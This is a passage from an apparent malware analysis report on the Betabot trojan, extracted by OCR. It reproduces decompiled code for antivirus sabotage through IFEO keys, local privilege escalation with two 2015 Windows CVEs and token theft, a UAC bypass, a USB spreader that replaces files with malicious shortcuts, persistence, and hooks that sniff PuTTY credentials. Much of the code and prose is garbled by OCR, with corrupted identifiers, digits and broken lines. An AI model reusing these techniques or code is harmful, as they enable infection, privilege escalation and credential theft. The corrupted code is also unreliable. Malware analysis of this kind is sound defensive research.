nject_path 1 &&% *inject path 1 )

bbWstrepy(259, inject_path_1, inject_path);
payloadBuf = (char *)hHeap;

if ( (OsVerFlag & ex2ea) != @ )
GEtS/stElerlID\VE4DrS/532| inject_path, @x183u);

Impor‘tTableRagular Getl J.ndcu[:]. ectoryW(injec |..a h, 259);
ImportTableRegular.PathAppendW(inject_pat h, "eoed -exe™);

ada = al;
if ¢ ta2 )
ada = 18;
av = d/namlcCT}( »>flagInstalledAVs;
if ( (av & @xd4eeea) != @ )
{
doSpeciallnject =
r bbﬁetSer‘v:LcaImage

i (v )

bbWstrepy(26e, ve, outBuffer);
getBinaryFromCommandLine (outBuffer);
bbFree(vé

1 *)hHeap;

f ( getRunKeyValueHKLM(outBuffer, L"Baidu Antivirus", 26@) )

gEtBlnar/Frnm[nmmandLln (outBuffer);
(void (__cdecl *)( *})}ImportTableRegular.PathRemoveFileSpecH) (outBuffer);
(void (_ cdecl *){ *, const wchar_t *))ImportTableRegular.PathAppendW)(outBuffer, L"Bavsvc.exe");

goto LABEL_27;
if ( (osverFlag &

goto LABEL_27;

EIcSpe-:ia'_In_"e‘:-_ =

F ( outBuffer[@] && FileExists(outBuffer) )

bbWstrepy(26@, outBuffer, inject path);
payloadBuf = (char *)hHeap;

dest.size = 365

dest.processName = inject path;
dest.commandLine = 8;

If the attempt to set the IFEO key fails, Betabot attempts to prevent the executable from
launching by creating a manifest/config file for it that contains invalid content. How it does
this is most interesting: it creates a pagefile there, which would get filled with random (and
thus invalid) data.

'DDESIFEDDEbUggEPKE;EXlstL "ekrn.exe™) && !DoesIFEODebuggerkeyExist(L"egui.exe™} )

ImpurtTahlEREgular PathRemoveFileSpech(vE);
if ( (OsVerFlag & @x188) == @ )

trashdanlfestFlleNlthPf-:;, "x86\\ekrn.exe")};
trashManifestFileWithPf (w6, L"ekrn.exe™);
trashManifestFileWithPf( "egui.exe")};
ImportTableRegular.Sleep(l@8);
if [ doesManifestConfigFileExistDir(v6, L"egui.exe")} != 1 )




) *filePath_)

\ING, PLARGE INTEGER,

This method originated probably from KernelMode.info in 2012. Interestingly enough — | don’t
think this idea has gained much prominence since then, as this is the first that I've seen it in
practice or mentioned anywhere at all.

LPE and UAC bypass

Betabot employs 2 CVEs as well as several other tricks to gain administrator privilege. The
first thing we will be discussing are the LPEs. Currently, there are only 2 LPEs available,
however the exploit orchestrator is designed in a module-based fashion so that more LPEs
can be added with little code change.
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int launchLPE()
1
int zero; edi
int i; esi
int (_ stdcall *proc)(int, int);
BB_OSVERFLAG verFlag; eax

Tero = @;

if { exploitConfig[i].size == @xl4 )
1
if ( exploitConfig[i].KBPatch )
1
proc = exploitConfig[i].exploitProc;
if { (unsigned int)proc > BxFFFF && (unsigned int)proc < @

verFlag = exploitConfig[i].osVerFlag;
if { verFlag )

if ( (verFlag & OSVerFlag) != @
&8 lisKBInstalled(exploitConfig[i].KBPatch)
&8& exploitConfig[i].exploitProc(l, 1) )

{

if { (unsigned int)++i »>= 2 )

"ETUrn ZEroy

; XREF: launchLPE:loc_25AB72A/r
; launchLPE+18/r ...
; XREF: launchLPE:loc_25AB72A/r

; XREF: launchLPE+18/r
; XREF: launchLPE+1ASr
; launchLPE+4E/r

; XREF: launchLPE+2E/r

As we can see, Betabot checks for the presence of the KB that patches the exploit and the
OS version checked prior to exploitation. The two exploited vulnerabilities are CVE-2015-
1701 (KB3045171) and CVE-2015-0003 (KB3013455), and both are only exploited on 32-bit
machines. The first is exploited on Windows 7 and Vista whereas the second is exploited
only on Windows 7. The KB check is done as follows.




char v4[528]; [esp+218h] [ebp-258h] BYREF
char v5[64]; [esp+418h] [ebp-58h] BYREF
int v6; [esp+458h] [ebp-18h] BYREF

int v7; [esp+45Ch] [ebp-Ch]

unsigned int v8; [esp+468h] [ebp-8h]

int a5; [esp+464h] [ebp-4h] BYREF

DWORD kbaj; [esp+47@h] [ebp+8h]

as =

7 = @8;
memset(vS, 8, sizeof(v
memset(vd4, @, sizeof(v
memset (v sizeof (v
if ( bbwvnsprintfA_@((i 63, "KBEu", kb) < 4 )

a;

if ( regOpenA(

"SOFTWARE\\M : \\Windows\\CurrentVersion\\Component Based Servicing\\Packages"”,
a,
1,
(HANDLE *)&a5)
|| ta5 )

VB = bbRegGetSubkeysCount(as);

[ v < &

i4)) 3

519;
ImportTableRegular.RegEnumKeyExA( (HKEY)a5, kba, v4, (LPDWORD)&v6, @, @, @, @);

if ( vale
&% strInstr(v4, vs
&8& bbwvnsprintfA 8(
(int)v3,

bERegClose( (HKEY)a5);

et i+

For both exploits, Betabot retrieves the base address of Ntoskrnl by using
NtQuerySystemInformation with SystemModulelnformation.




unsigned int _ stdcall getMtoskrnlBaseAndAddr(_BYTE *outName)
1

unsigned int basefddress; esi

RTL_PROCESS MODULES *modules; edi

const CHAR *fTileMame; eax MAPDST

PVOID base; [esp+4h] [ebp-Ch]

UCHAR *fullPathName; [esp+8h] [ebp-8h]

DWORD size; [esp+Ch] [ebp-4h] BYREF

baseAddress = 83
base

cize = @;
1

*outName = @;
if ( ImportTableRegular.NtQuerySystemInformation(@xB, @, @, &size) != -1873741328 )

=5 Dy
modules = (RTL_PROCESS_MODULES *)bbMalloc(size + 4896);
if ( !'modules )
return 93
if ( ImportTableRegular.NtQuerySystemInformation(@xB, modules, size, &size) »>= @ )
1
if ( modules->NumberOfModules )
{
fullPathName = modules->Modules[@].FullPathName;
vhile ( 1 )
1
fileName = ImportTableRegular.PathFindFileMameA(fullPathName);
if ( fileName )
1
if ( ImportTableRegular.StrStrA(fileName, “ntkrnl") == fileName )

“3

fullPathName += 284;
if ( ++basefddress >= modules->NumberOfModules )

importTableRegular.lst'cpynﬁ(:utLaTe, fileName, 259);
base = modules->Modules[baseAddress].ImageBase;

~ baseAddress = {unsigned int)base;

EhFree{T:dulesj;
return baseAddress;

The goal for both are to eventually be able to replace the current process’s token with a
token from either explorer.exe or printui.exe (which would be launched as admin using
ShellExecute with runas), however in practice the code path for using printui is never
reached so the token is always stolen from explorer.

int _ userpurge stealTokenSafelyf<eax>(int currentProcfi<edx>, int tokenSelf, int tokenSystem)
1
result; eax
i BCX
t tokenSelfMasked; [esp+Ch] [ebp+8h]

tokenselfMasked = tokenSelf & @x
result = 8;
i=8;
shile { (*( DWORD *
1
if { (unsigned int)++i »= @x2088 )

~eturn result;

*(_DWORD *)(currentProc + 4 * i) = tokenSystem;

o




Both exploits are public, ancient and well documented so | will not go into details about how
they each function here. However, an interesting little detail that | discovered while reversing
this exploit is that back in Windows 7, one is able to allocate memory at the address 0, which
is then used to exploit the null pointer dereference vulnerability in CVE-2015-0003. This is
done by passing a value between 1 and 0x1000 (page size) as the base address to
NtAllocateVirtualMemory.

For gaining administrator privileges, Betabot also has some other tricks, some interesting
and some less so. The first simply tries to force the user to accept the administrator prompt
by spamming it while faking the executed file as cmd.exe with some custom texts.
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randomRegSu

te I=1
rtTableRegular.G

ImportTableRegular.GetL

ImportTableRegular.G

| wish | could fix‘m'y issues so easily
The second abuses the ISecurityEditor interface to overwrite eudcedit.exe’s Image File
Execution Options with the path to the current module. The ISecurityEditor interface did not
have proper security checks, allowing an unprivileged user to modify the ACL of an object
that they should not have access to. This was fixed on Windows 10 build 10147.
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! ImportTableRegular.
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comstruct-»size = @

comstruct->dwordd = @;

memset(&comStruct->objectName, @, @x

memset(&comStruct-roriginalsDstring, x480u) ;

ImportTableRegular.CoInitializeEx(@, 2);

if ( ImportTableRegular.CLSIDFromString(sCLSID ShellSecurityEditor, &CLSID ShellSecurityEditor)
|| ImportTableRegular.IIDFromString(sIID ISecurityEditor, &IID ISecuri

memset(&bindopts, @
bindOpts.cbStruct
= T
hresult = ImportTableRegular.CoGetObject(
"Elevation:Administrator!new: {4D111E@5-CBF7-
&bindoOpts,
ETID_ISecuri
(woid **)&secu
F { isSelfSystemFile == 1 }

goto LA
( hresult

isselfsystemFile

{

ImportTableRegular.Sleep(1388);
hresult = ImportTableRegular.CoGetObject(
"Elevation:Administrator!new:{
&bindopts,
&IID ISecurit
(void **)&Secur
> )

T = &
while { (unsigned int)++isSelfSystemFile < @x1@ );

esult »=8 )

comStruct-»>success = 1;
comStruct-rsecurityEditorPtr = Security

*comStructOut = comStruct;

if { hresultOut }
hresult;

*comStructOut = @;
bbFree(comStruct);

"eturn success;

® 59}
If this operation is successful, Betabot will attempt to launch eudcedit.exe, the debugger for

which is now hijacked to be the Betabot payload.




=5 ImportTableRegular
portTableRegular

( ImportTableRegular.G

bbTermina ce
ImportTableRegular.

USB Spreader

The USB spreader runs as a Betabot managed thread if the feature is enabled in the C2. It
uses RegisterDeviceNotificationA to register a notification whenever a new drive is inserted.

33/80



int _ stdcall threadUsbSpreader(ThreadInfo *al)
{
t result; eax
E v2; edi
VEH [esp+@h] [ebp-1Ch] BYREF

result = (int)registerDediceHotificationCallbackForUsbSpread();
if { result )

ImportTableRegular ResetEvent(eventARUsbSpreader);
hile (1)
{

v2 = ImportTableRegular GetMessageA(&v3, B, @, 8);
if (! || !ImportTableRegular.WaitForSingleObject (eventARUsbSpreader, 1) |

ImportTahleRegular.Translatemessage(&u

ImportTableRegular.DispatchMessageA(&v
}
if ( deviceNotificationWindowHandle )
ImportTableRegular.DestroyWindow( (HWND)deviceNotificationWindowHandle) ;
if ( deviceNotificationCallbackHandle )
{(woid (_ stdcall *)(int))ImportTableRegular.UnregisterDeviceNotification})(deviceNotificationCallbackHandle);
deviceNotificationWindowHandle = @;
deviceNotificationCallbackHandle = @;

result = 1;

urn result;

HWND registerDeviceNotificationCallbackForUsbSpread()
{ .

ULONG wve; esl

ULONG wl; edi

LPVOID w2; eax

HWND windowHandle; eax

HWND windowHandle_1; esi

HDEVNOTIFY callbackHandle; eax

char dest[48]; [esp+Ch] [ebp-54h] BYREF

DEV_BROADCAST_HDR registration; [esp+3Ch] [ebp-24h] BYREF

int vo9; [esp+48h] [ebp-18h]

int v1@; [esp+4Ch] [ebp-14h]

int wv1l; [esp+58h] [ebp-18h]

int v12; [esp+54h] [ebp-Ch]

HWND hRecipient; [esp+5Ch] [ebp-4h] BYREF

memset(dest s 8, 51Leof(de; j),
memset(& egistratio
\ (thand() &
pient = (HWND)v@;
1= (ImportTableRegular RtlRandom( (PULONG)&hRecipient) & 8xF) + 2;
v2 = ImportTableRegular.GetModuleHandleA(®2);
windowHandle = (HWND)ImportTableRegular.CreateWindowExA(

a,

hRecipient = windowHandle;
if ( ndu.kand e }
» (LONG)deviceNotificationCallbackUsbSpreader);
registration.dbch_size = 32;
£ n.dbch_devicetype
registration.dbch_reserved =
v9 = dword_25A599C[@];
= dword_25A599C[1];
= dword_25A599C[2];
dword_25A599C[3]
Handle_1
ckHandle = ImportTableRegular.RegisterDeviceNotificationA(hRecipient, &registration,
callbackHandle }

ImportTableRegular.DestroyWindow(windowHandle_1);

eturn 93

3}

1

deviceNotificationCallbackHandle = (int)callbackHandle;
deviceNotificationWindowHandle = (int)}windowHandle 1;
return windowHandle_ 1;




Upon receiving a window callback, Betabot ensures that the message is one for a new
volume being inserted, and ensures that it can get the drive letter for the drive.

ed, {LPARAM)lparam};
Then, it checks whether the drive was already infected or not. This is done by checking for
the presence of a file called usb20.sys which Betabot will create as Hidden + Read-Only
after the infection process has completed.

cerFile(unsigned _ intlé driveChar)

driveChar) <= 5)

After this, the betabot binary is copied to Drive:\\pp.exe, and files on the drive are replaced
with malicious .Ink files that launch betabot along with the original files.

35/80



n ImportTab

( ImportTableRegular
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rtTableRegular
ch[3] ;
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&& Imp
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char _ stdcall replaceFileWithLnk{unsigned _ intl6 driveChar, _WORD *bbFilePath, _WORD *fileName, char isDir)
{
_WORD *finalCommand; eax
wchar_t arguments[52@]; [esp+Ch] [ebp-C38h] BYREF
wchar_t filePath[268]; e;p+— h] [ebp-828h] BYREF
wcha'_t InkFileFinal[26@]; [esp+624h] [ebp-628h] BYREF
JORD explorerCommand[26@]; e;p+u¢fh [ebp-418 h_ BYREF
JORD flleNaneCcp,[2CB] [esp+A34h] [ebp-218h] BYREF
IPE’sl;* ile *persistFile; _E;P+l3|h_ [ebp- uh_ BYREF
IshellLinkW *ppv; [esp+Ca8h] [ebp-4h] BYREF

Ppv
ileName || !*bbFilePath || !*fileName )

_ePa—h, 2, sizeof (filePath)};
memset (argument ;, 8, 31Lecf|a’0u1en s));
memset (explorerCommand, @, ;l‘ecf-e>p_:’E'L:11and))
bbWstrcat_@( iinDir¥\\explorer.exe ", explorerCommand, -1};
bbWstrcat @(fileName, explorerCommand, -1);
_na_L:11and explorerCommand ;
if ( isbir != 1)
finalCommand = fileName;
bbWvnsprintfW(arguments, L start /d. %s&\"%s\"", bbFilePath, finalCommand);
bbWvnsprintfW(filePath, L"¥%c:\\¥s", driveChar, fileName);
if ImportTableRegular.[c[’eateInstance(&CLSID_ShellLink, @, 1, RIID IShelllinkW, (LPVOID *)&ppv) < @ || !ppv )
2;
pp.—>lpkfbl »SetPath(ppv, L"¥COMSPECE");
ppv->1pVtbl->SetArguments(ppv, arguments);
ppv->1pvtbl->SetShowCmd (ppv, 7);
ppv->1pVitbl-sketIconlocation(ppv, L "¥WinDir¥\\s n323\\shell32.d11", 2 * (isDi
f ( ppv->1pVtbl-*QueryInterface(ppv, (const ccn:*)IID IPersistFile, (wvoid

if ( persistFile )

memset(lnkFileFinal, @, sizeof(lnkFileFinal});
py, @, sizeof( '_ela1EL“P,))
bbwstrcpjk—_, fileName, TileNam
ImportTableRegular PathRemov
thvnsprlnthu InkFileF _na_, ;ff.' - C fileNameCopy);

persi 3—-'

ImportTableRegular.Set:ileﬁtt'ihutesﬁ(‘ilePa:h,

ﬁpv—>lthbl—>Relea5e(ppv);

L

replaceCount )

memset(usb28Path, @, 31‘ecf|u;L23Pa h)
if ( bbWvnsprintfW(usb2@Path, L"¥c:\\us

1
usb2@Handle = ImportTableRegular.CreateFileW(usb2ePath,
if ( usb28Handle != (HANDLE}-1 )
ImportTableRegular.CloseHandle(usb2@Handle);

tryDeleteFile(bbFilePath);

IEpDPtTahleRegular.CcUninitiali:e();
~eturn ImportTableRegular.DefWindowProcA(hwnd, msg, eventOccured, (LPARAM)lparam);

Latr on, if this shortcut is executed, Betabot is able to tell that it was spreaded like this by
checking whether its drive is removable.




if { ImportTableRegular.GetModuleFileMameW(@, (LPWSTR)w33, 3) )
currentDriveType = ImportTableRegular.GetDriveTypeW((const wchar_t

currentDriveType = @;
currentDriveType ==

dynamicCTX->Flagself |= 3uj
bbRegWritePseudorandomvValueCaol((int)&data_1, "BIS", 4);

Persistence

Betabot has persistence for both its file and process. Process protection is achieved via a
Ring3 userkit that filters process access, as well as a watchdog that monitors both the file
and process.

int PersistenceInstall()
1

unsigned int wv@; esi

DynamicContext *dCtx; edi

int result; eax

char randval; al

BE_AV_TINSTALLED w4;

_WORD *v5; edx

DynamicContext *v6;

int v7; BCx

BE_AV_INSTALLED v&;

BB_AV_INSTALLED v9;

UINT currentDriveType;

DynamicContext *vll; esi

unsigned int w12; esi

wchar_t *v13; eax

DynamicContext *v14;

int v15; [esp-4h] [ebp-111Ch]

char v16[528]; [esp+l@h] [ebp-11@8h]

WCHAR cmd[26@]; [esp+218h] [ebp 1

char v18[128]; [esp+428h] [ebp-CF8h] BYREF

wchar_t name[26@]; [esp+4A@h] [ebp-C78h] BYREF

_WORD v2@[268]; [esp+6ABh] [ A78h] BYREF

_WORD a1[26@]; [esp+8B@h] [ ] BYREF

_WORD v22[26@]; [esp+ABSh] [ &@h] BYREF

STARTUPINFOEXW startupinfo; [esp+CC@h] [ebp-458h] BYREF
WORD installStr2[e4]; [esp+D@8h] [ebp-418h] BYREF
WORD installStrFolderName[128]; [esp+D88h] [ebp-39@h] BYREF
_WORD randomExeName[32]; [espt+E88h] [ebp-29@h] BYREF
WCHAR dest[26@]; [esp+ECBh] [ebp-25@h] BYREF
bbTimeInfo2 firstLaunchTime; [esp+laD@h] [ebp-48h] BYREF
char v29[2@]; [esp+1@E4h] [ebp-34h] BYREF
PROCESS INFORMATION procInfo; [esp+1@8F8h] [ebp-28h] BYREF
int data_1; [esp+11@8h] [ebp-1@h] BYREF
int w32; [esp+118Ch] [ebp-Ch]
_DWORD w33[2]; [esp+111@h] [ebp-8h] BYREF

((unsigned int)OSVerflag >» 7) & 1;

1 =0
] =8;

memset(dest, B, sizeof(dest));

memset(cmd, @, sizeof(cmd));

memset(installStr2, @, sizeof(installStr2});

memset(v18, @, sizeof(vld));

memset(installstrFolderName, @, sizeof(installStrFolderName));
memset(randomExeName, @, sizeof(randomExeName));

memset(v16, @, sizeof(vle));

dCtx = dynamicCTX;

bbWstrepy (127, dynamicCTX->field 2467, installStrFolderName);
bbWstrepy(63, dCtx-»installStrStartupName, installStr2);

if ( (dword_25B@BD2 & 2) != @ )

"
-

if ( !iﬁs:alls:'=:LdEPLaTe[i] )

bbRandomStringInternal(14, installStrFolderName, @);




aynamict A,
if ( !randomExeName[@] }

randval = bbRand();
bbRandomStringInternal((randval & 7) + 9, randomExeName, 2);
dCtx = dynamicCTX;

if ( !installstr2[@] )
bbRandomStringInternal(l4, installstr2, 8);
dftx = dynamicCTX;

1

J

bbWstrepy(259, dCtx-*allUserProfilePath, al);

bbWstrepy(259, dCtx-rappDataPath, v22);

if ( wstrlen(al) < 4 )
bbWstrcpy (259, w22, al);

if ( v == 1 && (dCitx->TlagSelf &

{

yid — 3P
Vid = J6;

if ( !ImportTableRegular.ExpandEnvironmentStringsW(L"%CommonProgramFiles®”, dest, 268) )

bbWstrepy (259, dynamicCTX->programFiles, dest);
ImportTableRegular.PathAppendW({dest, L"Common Files™);

tx = dynamicCTX;

bbWstrcpy (259, al, dest);
1
J
dCtx->maybeInstallFlag = 32;
if ( wstrlen(dest) < 4 )

bbWstrepy (259, al, dest);

-

bbWstrepy (259, v22, dest);

) 1=e ] (va & (

bbWstrcpy (259, dCtx-»startupDir, dest);
if ( !FileExists(dest) )}
ImportTableRegular.CreateDirectoryW(dest, @)};
ImportTableRegular.SetFileAttributesh(dest, W3
if ( !checkCanCreateFileInDir(dest) && ImportTableRegular.GetLastError() ==

unprotectAcl(dest);
if ( !checkCanCreateFileInDir(dest) )

if ( dynamicCTX->commonStartupDir[@] )

bbWstrepy (259, dynamicCTX->commonStartupDir, dest);
if ( !FileExists(dest) )

ImportTableRegular.CreateDirectoryli(dest, @);
ImportTableRegular.SetFileAttributesu(dest, i
if ( !checkCanCreateFileInDir(dest) && ImportTableRegular.GetlLastError() ==

unprotectAcl(dest);

}
}
bbWstrcat @(L".exe™, randomExeName, -1);
bbWstrcpy (259, dest, v2@);
ImportTableRegular.PathAppendW(dest, randomExeName);
i WG .




ynamlcCTx >flagInstalleder,
vB & Ax6@200) != =@ )

ImportTableRegular.SetFileAttributesW(vaa,
ImportTableRegular Sleep(108);
if ( hbﬂoueFlle(dyhamlcCTx »modulelongNamel, (int)dest, 11) )

ImportTableRegular.SetFileAttributesi(v2a,
ImportTableRegular Sleep(108);
if ( hbdoveFlle(dyﬂamlcCTX >moduleLongNamel, (int)dest, 11) )

BEL_62;

if ( ImportTahleRegular CopyFileW(dynamicCTX->modulelongNamel, dest, @) )

deleteZoneIdentifier(de;.)'
if (3301 || (
ImportTableRegular SetFllepttrlbutesu(
dest,

ImportTableRegular.SetFileAttributesu(
dest,

if ( (dynamicCTX->flagSelf & ax2e) !'= o

v33[1] = 6@933;
bbwrltePseudorandomRegKey( CG1", "HAL™

= dynamicCTX- >flagInstalledst,
( (v & 4) == @ && (v9 & Bx188) == @

memset(name, 8, sizeof(name));
bbkvnsprintfi(
name,
"SOFTWAREN\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options‘\\¥s",
’anduT_xeLa1ej,
bblriteNewRegh(name,
bbModifyAclRegistry(name,

!
J

bhwvnsprlntfwﬂ cmd, L"/%s ", L"ins");

memset(v33, @, sizeof(v33));

if { ImportTableRegular.GetModuleFileNamelW(®, (LPWSTR)}w33, 3) )
currentDriveType = ImportTableRegular.GetDriveTypel(({const wchar_t *)}wv33);

currentDriveType = 8;
currentDriveType ==

dynamicCTX->flagSelf |=
bbRegWritePseudorandomValueCal((int)&data 1, "BIS", 4);
1
5
bbRegWritePseudorandomValueCGl(@, "WAVK", @);
clearCGl_I0 Values();

if ( dest[e] )
1

memset(v29, @, sizeof(v29));
if ( !bbHashFile(dest, w23) )
writeBufToCGILUH(v29);

1

I

writeRegValueBIPEncrypted(dest);

vll = dynamicCTX;

if ( (dynamicCTX->flagInstalledAvs &
dynamicCTX->flagSelf |= @x488u;
byte_25B99DA = 1;

clearProcInfo(&startupinfo.StartupInfo, &procInfo);
if ( (dynamicCTX->flagInstalledavs &
ImportTableRegular.Sleep(2@6@);
if ( (dynamicCTX->flagInstalledAVs &
ImpnrtTableRegular Sleep(6060);
bbGetFlleSl‘e(de;.)'




closeUnknownEventHandle();
if { bbCreateProcessForRunPE(dest, cmd, &startupinfo, &procInfo, 1lu) &% procInfo.dwProcessId )

resumeProcessAndThread (procInfo.hThread, procInfo.hProcess);
ImportTableRegular.Sleep(5@);
ImportTableRegular.NtTerminateProcess((HANDLE)-1, @);
dynamicCTX->maybeInstallFlag = @;

1
1
bbOpenGlobalEvent();

vl5 = 3;

vE = dynamicCTX;

bbWstrcpy (259, dest, vll-:*modulelLongNamel);
bbWstrcpy (259, dest, wll->moduleDir);
vl3 = ImportTableRegular.PathFindFileNameW(v33[1]);

= dynamicCTX;

{ w13

bbWstrepy (63, v13, dynamicCTX-»moduleFileName);
ImportTableRegular.PathRemoveFileSpeck(vl4->moduleDir);
dynamicCTX->maybeInstallFlag = @;

=S =nES 250

1

}
ImportTableRegular.SetFileAttributesh(v2a, ¥s
ImportTableRegular.Sleep(1@a);

if ( ImportTableRegular.CopyFileW(dynamicCTX->moduleLongNamel, dest, @) )

setDir0fFileToHidden (dest);

goto LABEL B3;

vE = dynamicCTX;
dynamicCTX->flagSelf |

if { !ImportTableRegular.PathFileExistskW(dest) )

ImportTableRegular.CreateDirectoryW(dest, @)};
ImportTableRegular.SetFileAttributesh(dest,

if ( !createSubDir(dest, installStrFolderiame) )

== 1 && createSubDir(al, installstrFolderName)} )}

createSubDir(v22, installStrFolderName);
V5 = v22;
1

I
bbWstrcpy (259, w5, dest);
1
1
if ( wstrlen(dest) »>= 4 }

ImportTableRegular.PathAppendW(dest, installStrFolderName);
setDirOfFileToHidden(dest);

]




' ->wa;beIn3+all lag =
result 7
InterlnckedExchange-&SomeLockZeroedAtﬂaln, 15);

rETUrn 'E;LI__,

ImportTableRegular.Sleep(158);
ImportTableRegular. Tl:Se*kalueutlsAllocatlons
if ( 'eventPs || bbOpenEvent((int)"ULiF

(w7 == ;)
findAndKilloldBetabotThreads (@, @, dynamicCTX-»generalFlag);
vie )

bepenEventFromSeedn E

vle )

dword_25BD6FC = 1;

RemovdIFEOForSelf();
performStartup h3
6 1 && !isMainProcess(dynamicCTX->isFullyOwnedProcess) && v9 < 8x38 && sub 259DBVD() == 1 )

+Hva;
v4 = bbOpenEventFromSeed("PRB", @, 71, 1);

if { v4 )
1

ImportTableRegular Sleep(158);

{

doFilePersistenceCheck();
setupModuleselfACL();

importTableRegular.Sleep(;?&);

importTableRegular.Sleep(é:);
ImportTableRegular.CloseHandle(v4);

importTahleRegular.Sleep(z
" sub_259D787();

le ( eventULI
&% eventPs
&8 ImportTableRegular.WaitForSingleObject(eventULI,
&8 ImportTableRegular.WaitForSingleObject(eventPs,
SF £ wra A
char protectSelfFile()

wchar_t *moduleLongliame; // edx
5 /L

= dynamicCTX->moduleLongName1;
(dynami cCTX->moduleLongName1) < & || handleFileself )
ImportTableRegular.GetFileAttributes(moduleLonghane);
=7

)
dynamicCTX->moduleLonghanel,
amicCTX->moduleLonghamel,

P FileAttributesW(dynamicCTX->moduleLongamel, File
ImparkrableRegular SethandleTnformation ile,

handlef ileself = hfile;

Crash handling




Early in the execution flow, Betabot registers an exception handler. Interestingly enough, this
is used not for anti-debugging purposes but quite the opposite — it is used to help the
developer debug issues and to increase stability.

dword 25BA194 = 3;

dword_25BA1BC = B;

if { !ImportTableRegular.GetModuleHandleA("mscoree.d11l™) )

1
somelnknownStatusBasedOnProcess = @3
createMyMailClientRegkey();
ImportTableRegular.SetUnhandledExceptionFilter(ExceptionHandler);

;InterluckEdExchangE{ESDmEUnknnwnStatusEaseanPrDcess, 2%;

If t excep:tion handler is ever caIIed-, ' fir Iog this in the registry in the CD1\ECC values.

memset(moduleNameCopy, @, sizeof(moduleNameCopy));
if [ {ExceptionCode_
|| ExceptionCode
|| ExceptionCode
|| ExceptionCode
| | ExceptionCode_ =
&& wvalue start as 1 == 1)

1
if { ldynamicCTX )
oto LABEL 52;

( ExceptionCode_ )

incrementCD1RegValue ("

e

incrementCD1RegValue("E

3

incrementCD1RegValue("E

L EdF

¥

incrementCD1RegValue ("ECC

.
e

incrementCD1RegValue("

3

i { is_last_bit clear_and_not_zero(dynamicCTX->isFullyOwnedProcess) != 1 )

goto LABEL_52;
if { currentEntryPoint == entrypoint unknownl || currentEntryPoint == entrypoint_ unknown2

1

if { dynamicCTX->*moduleLongNamel[@] )

bbWstrcpy (259, dynamicCTX->modulelLongNamel, moduleNameCopy);
ExceptionCode = ExceptionCode;

moduleNameCopy[@] = @3

if ( !moduleMameCopy[@] )




Then, it writes the crash count to the MyMailClient registry key, or increments it if it already
exists.

BOOL _ stdcall writeCrashCountToReg(_ DWORD *crashCountOut)
il
BOOL wlj; ebx
NTSTATUS status; eax
KEY_VALUE_PARTIAL_INFORMATION partialInfo; [esp+Bh] [ebp-28h] BYREF
UNICODE_STRING restWalue; [esp+28h] [ebp-18h] BYREF
ULONG v&j [esp+28h] [ebp-8h] BYREF
HKEY keyHandle; [esp+2Ch] [ebp-4h] BYREF

keyHandle = @;
~ )

memset(&partiallnfo, @, @x1Bu});
ImportTableRegular.RtlInitUnicodeString(&restValue, L"Rest™);
createHKCUKeySomething();

if ( !ImportTableRegular.RegCreateKeyExh(

Hy
Hy
1,
3
8,
&keyHandle,
,)
&& keyHandle )
{
partialInfo.Type = 4; // REG_DWORD
1lInfo.TitleIndex = 8;
lInfo.Datalength = 4;
status = ImportTableRegular.NtQueryValueKey(
keyHandle,
&restValue,

&partiallnfo,

ImportTableRegular.RegClosekKey(keyHandle);

Wil

;(_DHSRD *)partialInfo.

++*(_DWORD *)partialInfo.Data;

vl = ImportTableRegular.NtSetValuekKey(keyHandle, &restVWalue, @, 4, partialInfo.Data, 4} »= @;

if (vl }
{

if { crashCountOut )}
*crashCountOut = *({_DWORD *)partialInfo.Data;

Finally, if there is less than 24 crashes logged, it'll relaunch itself with the /exc parameter
corresponding to the number of retries, and then terminates itself.




relaunchBetabot( WORD *fileName, i

executionRetryCount) > @ )

Hooking engine

Betabot features an impressive ring-3 system wide hooking mechanism for persistence. As
described by Zhongchun Huo, it utilizes TLS slots to detect its own threads where hooking
behavior should not be applied. There are several “classes” of hooks, which | will detail
below.

The first class of hooks is defensive hooks, meant to prevent access to files/registry keys
that are deemed protected by Betabot. Generally speaking, they take the following form:
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int _ stdcall hookNtOpenFile(int al, int *a2)
1
int v3; ean
int wd; [esp+8h] [ebp-18h]
int v5; [esp+18h] [ebp-18h]
UNICODE_STRING *v6; [esp+14h] [ebp-Ch]

if { !ensureMoNestedCallByTLS() )

=tu iH

if { !registryKeyBlocklist )
-eturn @;

”{_DHERD Hj{a: + 2:);

*(_DWORD *)(al + 24);

Iws )

= e

2TU " H
*(UNICODE_STRING **)}(v5 + 8);
( 've || !wstrlen{ve->Buffer) )

ETUrn Wy
hDDkFilterFithame(:, vid, vB);

int  stdcall hookNtCreatekKey(int al, DWORD *a2)
i
int w3; [esp+4h] [ebp-1@h]
PUNICODE_STRING regstr; [esp+Bh] [ebp-Ch]
int v5; [esp+Ch] [ebp-8h]
int unk; [esp+1@h] [ebp-4h]

if ( !ensureNoNestedCallByTLS() )

eturn @;
*(_DWORD *)(al + 28);
*(_DWORD *)({al + 24);

:- ( v j

u B;
regstr = *(PUNICODE_STRING *)(v
if ( lregstr )

if ( !regStr->Buffer )
if ( !regStr-»Length )

eturn 8;
unk = regstr-»Length / 2;
if ( lunk )

i ((v5 & y1=e || (vs & ) 1= e )

isStringInRegistryBlocklist(regStr->Buffer, unk, 3u, Su, 8);

if ( (int)isStringInRegistryBlocklist(regStr->Buffer, unk,

U,

rl

Xilu, *




int _ stdcall hookNtUnmapViewOfSection(int al, DWORD *a2)

{

void *w3; [esp+dh] [ebp-Bh]

if { !ensureNoMestedCallByTLS() )

eturn @;
v3 = *{void **)(al + 16);
F{ w3 || v3 == (wvoid *)-1 )
return @3
I*{ DWORD *)(al + 28) || !isProcesshAccessBlocked(v3) )

= e e

The second class of hooks are hooks designed to sniff information for the stealer. The first
example of this are the hooks placed inside Putty’s process.

*)modulePutty;
f ( modulePutty
(vl = patternSearch((char *)dword_25B@8D4, (char *)modulePutty, @x1lu, puttyModuleSize -

2 = (void *)sub_259B9CD((int)&v@[vl], 1u);
v@ = (char *)modulePutty;

goto . 193
v3 = patternSearch((char *)dword_25B89@4, v@, 8x1lu, puttyModuleSize - 1);

if ( v3 <= D}
19;
*)sub_259B9CD( (int)&ve[v3], 1u);

if ( !ImportTableRegular.IsBadReadPtr(vl3, 4) &% !ImportTableRegular.IsBadReadPtr(v4, 4) )

initializeHook(&v11, 71);
v1ll.hookedFunc = v9;

v1l.hookHandler = (int)puttyHookHandlerl;
if ( registerHook(&v1l, v12, 1) »>= @ )

initializeHook(&v1l, 72);

v1ll.hookHandler = (int)puttyHookHandler2;
v1l.hookedFunc = v4;

if ( registerHook(&vll, w12, 1) »>= @ )

ImportTableRegular.TlsSetValue(tlsAllocations[2], @);

<3

- H

Hooks being applied




